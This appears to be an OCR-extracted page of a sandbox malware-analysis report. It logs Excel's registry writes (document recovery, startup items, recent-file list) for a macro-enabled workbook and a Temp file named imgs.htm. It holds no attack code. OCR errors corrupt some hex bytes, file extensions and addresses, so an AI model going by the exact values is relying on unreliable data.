00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 E6 1C 1C
7E 70 F4 D6 01 D6 E6 OE 00 D6 E6 OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EE782 binary 04 00 00 00 FC 05 00 00 3B 00 00 00 43 success or wait 1 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EE782 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 43 00 61 00 6C 00 63
00 75 00 6C 00 61 00 74 00 69 00 6F 00
6E 00 2D 00 31 00 37 00 37 00 36 00 31
00 39 00 38 00 30 00 33 00 36 00 2D 00
30 00 31 00 32 00 36 00 32 00 30 00 32
00 31 00 2E 00 78 00 6C 00 73 00 6D 00
00 00 00 00 17 00 00 00 43 00 3A 00 5C
00 55 00 73 00 65 00 72 00 73 00 5C 00
41 00 6C 00 62 00 75 00 73 00 5C 00 44
00 65 00 73 00 6B 00 74 00 6F 00 70 00
5C 00 01 00 00 00 01 00 00 00 09 4C 36
7E 70 F4 D6 01 82 E7 OE 00 82 E7 OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00
HKEY_CURRENT_USER\Software\Mic n+8 binary 6E 2B 38 00 FC 05 00 00 02 00 00 00 00 success or wait 1 7FEEABC9ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 96 00 00 00 01 00 00 00 4A 00

00 00 40 00 00 00 63 00 61 00 6C 00 63
00 75 00 6C 00 61 00 74 00 69 00 6F 00
6E 00 2D 00 31 00 37 00 37 00 36 00 31
00 39 00 38 00 30 00 33 00 36 00 2D 00
30 00 31 00 32 00 36 00 32 00 30 00 32

00 31 00 2E 00 78 00 6C 00 73 00 6D 00
00 00 63 00 61 00 6C 00 63 00 75 00 6C
00 61 00 74 00 69 00 6F 00 6E 00 2D 00
31003700 3700 36 00 31 00 39 00 38

00 30 00 33 00 36 00 2D 00 30 00 31 00
32 00 36 00 32 00 30 00 32 00 31 00 00

00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F622D binary 04 00 00 00 FC 05 00 00 2A 00 00 00 43 success or wait 1 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\F622D 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 CF B5
DF 90 70 F4 D6 01 2D 62 OF 00 2D 62
OF 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 1 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEABC9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5795694722.xIsx
HKEY_CURRENT_USER\Software\Mic Item 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEABC9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\6516896632.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 1 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\9713424497 .xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright null 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Item 8

Item 9

Item 10

Item 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0887538035.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416751812.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3580751004.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\5367203117.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

7FEEABCY9ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic F6393 binary 04 00 00 00 FC 05 00 00 2A 00 00 00 43 success or wait 1 7FEEABCY9ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\F6393 73 00 5C 0041 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 CF B5
DF 90 70 F4 D6 01 93 63 OF 00 93 63 OF
00 00 00 00 00 B8 02 00 00 56 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Source
Key Path Name Type Old Data New Data Completion Count Address Symbol

Disassembly
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